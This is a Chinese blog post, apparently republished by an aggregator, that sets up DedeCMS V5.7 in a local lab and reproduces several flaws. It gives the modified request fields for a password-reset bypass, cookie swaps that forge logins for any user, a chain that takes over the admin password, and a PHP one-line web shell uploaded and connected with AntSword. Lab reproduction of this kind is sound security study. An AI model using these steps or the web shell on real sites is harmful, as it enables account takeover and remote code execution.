DebeCMS环境搭建以及漏洞复现

Posted Landay0728

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DebeCMS环境搭建以及漏洞复现相关的知识,希望对你有一定的参考价值。


前言

  织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的php开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。


一、环境搭建

下载DedeCMS并源码解压到phpstuday目录下

然后输入http://localhost/uploads/install/index.php进入安装界面

进入环境检测页面

进入参数配置页面

安装完成

访问首页 http://localhost/uploads/index.html

登录后台(默认用户、密码 admin admin)
默认管理后台路径:http://localhost/uploads/dede/login.php

  首页访问慢解决方案

注释以下代码(DedeCMS-V5.7-UTF8-SP2\\uploads\\dede\\templets\\index_body.htm)

$(function()
{
   $.get("index_testenv.php",function(data)
  {
	if(data !== '')
	{
		$("#__testEvn").html(data);
	}
  });
   $.get("index_body.php?dopost=get_seo",function(data)
  {
	if(data !== '')
	{
		$("#SEOInfo").html(data);
	}
  });
});

注释以下代码(DedeCMS-V5.7-UTF8-SP2\\uploads\\include\\helpers\\mda.helper.php)

define('MDA_APIHOST', 'http://ssp.desdev.cn');

define('MDA_JQUERY', MDA_APIHOST.'/assets/js/jquery.min.js');
define('MDA_REG_URL', MDA_APIHOST.'/home/register');
define('MDA_FORGOT_PASSWORD_URL', MDA_APIHOST.'/home/forgot_password');
define('MDA_UPDATE_URL', MDA_APIHOST.'/home/update');

define('MDA_API_BIND_USER', MDA_APIHOST.'/api_v1/dedecms/bind_user');
define('MDA_API_LOGIN', MDA_APIHOST.'/api_v1/dedecms/login');
define('MDA_API_CHECK_LOGIN', MDA_APIHOST.'/api_v1/dedecms/check_login');
define('MDA_API_GET_PLACE', MDA_APIHOST.'/api_v1/dedecms/get_place');

注释以下代码(DedeCMS-V5.7-UTF8-SP2\\uploads\\data\\admin\\config_update.php)
代码里面包含*dedecms.com 都可以注释了

 define('UPDATEHOST', 'http://updatenew.dedecms.com/base-v57/');
 define('LINKHOST', 'http://flink.dedecms.com/server_url.php');

二、漏洞分析以及复现

  任意修改前台用户密码

漏洞成因
  在用户密码重置处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员默认不设置密保问题)。注意:修改的密码是member表中的密码(前台),即使修改了管理员密码也member表中的管理的密码,仍是无法进入管理后台。

漏洞代码分析
其中 $row['safequestion'] == $safequestion && $row['safeanswer'] ==$safeanswer代码是问题的关键,首先我们知道,如果没有设置密保的话$row['safequestion'] 从数据库取出默认为’0’,$row['safeanswer']为空,且变量$safeanswer$safequestion是用户可控制的变量,又使用了 ==进行判断, 因此该判断规则存在弱类型问题。根据empty函数特性,‘0’会被判断为空,会进入重新将$safequestion赋值为’’。而’0’ != ‘’,所以我们需要一个输入即不使empty为空,且弱类型等于’0’的字符串。‘00’、‘000’、'0.0’以上这些都是可以的。

empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。
当 var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE。
以下的变量会被认为是空的:
“” (空字符串)
0 (作为整数的0)
0.0 (作为浮点数的0)
“0” (作为字符串的0)
NULL FALSE array() (一个空数组)
$var; (一个声明了,但是没有值的变量)

漏洞复现
注册、登录不了

进入后台管理开启会员功能

注册一个账户(格式为1xxx 或者001 00001 00001这种格式 )

注册成功

进入会员中心 退出用户

点击忘记密码  http://192.168.204.129/uploads/member/resetpassword.php

输入用户名、邮箱  点击通过安全问题取回

安全问题

通过BurpSuite 改包把
dopost=safequestion&id=9&userid=001&safequestion=0&safeanswer=SDFS&vdcode=fykc替换成
dopost=safequestion&id=1&userid=001&safequestion=00&safeanswer=&vdcode=fykc

获取重置密码的链接(http://192.168.204.129/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=PuzjtPi)

进入url修改密码(admin123 )

重置密码出现非法提交
出现非法提交如下图


就把http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=92L1YcQ2
拆分成http://localhost/uploads/member/resetpassword.php?dopost=getpasswd&id=1直接访问URL 临时密码就是92L1YcQ2


更改密码成功

  cookie伪造任意前台用户登录

漏洞成因
  dedecms的会员模块的身份认证使用的客户端session,在cookie中写入用户ID并且附上ID_ckMd5,用来做签名,主页存在逻辑漏洞,导致可以返回指定uid的id的MD5散列值,原理上可以伪造任意用户登录。

漏洞代码分析

漏洞复现
登录会员中心

进入个人空间 提示空间禁止访问

进入后台管理开放权限

资料状态改为:正常使用或者审核通过都可以

打开Burp Suite 拦截功能进入001的个人空间
DedeUserID的值替换成last_vid的值
last_vid__ckMd5的值替换成DedeUserID__ckMd5的值

forward 进入了

切换到会员中心刷新一下

再次进行替换
DedeUserID的值替换成last_vid的值
last_vid__ckMd5的值替换成DedeUserID__ckMd5的值

forward


我这里是使用Burp Suite拦截进行替换有点繁琐每次都需要替换DedeUserID和last_vid 可以使用cookie修改插件 比如EditThisCookie

  前台文件上传漏洞

漏洞成因
漏洞代码分析

  任意重置后台用户密码

漏洞成因
当使用admin用户登录前台进行密码修改的时候会顺带讲admin的后台密码也进行修改了。

漏洞代码分析

漏洞复现
  先利用前台用户密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞登录到admin前台在如下页面进行密码重置,旧密码便是利用任意前台用户密码重置漏洞amdin的前台密码(admin123),新密码自行设置

修改成功

访问后台管理用修改的密码进行登录(admin)

  后台任意文件上传

漏洞成因
漏洞代码分析
漏洞复现
进入后台管理 → 文件式管理 → 文件上传

上传1.php 一句话木马(<?php eval($_POST[x]);?>)


使用蚁剑连接


总结

以上是关于DebeCMS环境搭建以及漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2017-7269 IIS6.0远程代码执行漏洞复现

Samba远程代码执行漏洞(CVE-2017-7494)复现

St2-057远程代码执行漏洞复现过程

CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入

JBOOS反序列化漏洞复现

thinkphp5.x命令执行漏洞复现及环境搭建